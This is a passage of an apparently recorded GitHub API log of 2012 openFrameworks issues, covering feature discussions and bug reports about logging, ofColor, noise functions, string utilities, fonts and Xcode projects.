\"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"propose shortening ofLog console message length","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-08T20:32:49Z","updated_at":"2012-04-17T14:47:36Z","comments":4,"milestone":null,"number":1150,"id":4023305,"assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","color":"cccc29","name":"documentation"}],"title":"Document Project Generator / clean out old tools","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-07T14:43:53Z","updated_at":"2012-04-07T15:00:32Z","comments":0,"milestone":null,"number":1146,"id":4015514,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-06T22:02:01Z","updated_at":"2012-04-07T19:49:31Z","comments":3,"milestone":null,"number":1145,"id":4010494,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":555207}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofColor subtraction and negative values","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-06T07:56:44Z","updated_at":"2012-05-01T04:21:01Z","comments":9,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1144,"id":4001148,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720354}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","color":"2a8296","name":"macOS"}],"title":"benign error message","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-04T11:05:57Z","updated_at":"2012-04-04T12:07:24Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1138,"id":3968742,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1611385}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"multidimensional noise output","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-01T16:44:55Z","updated_at":"2012-04-03T17:37:10Z","comments":2,"milestone":null,"number":1134,"id":3917377,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '55788'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"866bf23c3eacebec1bf87ae32d99f1d0"'), ('date', 'Tue, 29 May 2012 20:18:27 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911629,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911537,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910580,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910555,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3897090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3883598,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3856005,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3850655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the 